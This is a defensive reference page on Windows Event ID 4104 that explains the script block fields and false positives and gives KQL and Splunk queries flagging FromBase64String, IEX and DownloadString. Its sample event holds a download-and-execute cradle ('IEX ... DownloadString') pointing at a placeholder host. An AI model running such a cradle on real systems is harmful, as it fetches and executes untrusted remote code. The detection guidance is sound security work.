Windows Event ID 4104: PowerShell Script Block Logging
PowerShell Event ID 4104 records script block content and is one of the highest-value Windows telemetry sources for detecting malicious PowerShell execution.
- Applicable version
- Windows PowerShell 5.0 and later with Script Block Logging enabled
- Last reviewed
- 2026-07-10
Trigger Scenarios
The PowerShell operational log records this event when Script Block Logging is enabled through policy or configuration. Large scripts can be split across multiple events sharing a ScriptBlockId.
Key Fields
ScriptBlockText
The deobfuscated PowerShell content captured by the engine. It exposes commands, functions, URLs, encoded payload handling, and execution logic.
ScriptBlockId
A unique identifier for the script block. Use it to group fragments when a long script is recorded across multiple events.
Path
The script file path when PowerShell knows it. An empty path may indicate interactive or in-memory execution.
UserId / HostApplication
The executing identity and host application context. They help distinguish user activity, scheduled tasks, remote management, and application-hosted PowerShell.
Common False Positives
- Configuration management, login scripts, and administrative automation can legitimately contain download, remoting, and encoded-content patterns.
- Security products and management agents may invoke PowerShell with complex scripts at scale.
- Developer and operations hosts often have more diverse PowerShell activity than user workstations.
Related Events
MITRE ATT&CK Mapping
- T1059.001Command and Scripting Interpreter: PowerShell
- T1027Obfuscated Files or Information
Detection Notes
For T1059.001 and T1027, ScriptBlockText containing FromBase64String plus -EncodedCommand is a concrete encoded-PowerShell chain. Reassemble fragments by ScriptBlockId before triage; a Path under C:\\Users\\ or C:\\ProgramData\\ combined with IEX or DownloadString is materially different from signed automation.
Event
| where Source == "Microsoft-Windows-PowerShell" and EventID == 4104
| where RenderedDescription has_any ("FromBase64String", "IEX", "DownloadString", "Invoke-WebRequest")
| project TimeGenerated, Computer, UserName, RenderedDescription
| order by TimeGenerated descindex=wineventlog source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| search ScriptBlockText IN ("*FromBase64String*", "*DownloadString*", "*Invoke-WebRequest*")
| table _time, host, UserId, ScriptBlockId, Path, ScriptBlockTextEventCode: 4104
UserId: CORP\jsmith
ScriptBlockId: 11111111-2222-3333-4444-555555555555
Path:
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('https://example.invalid/p.ps1')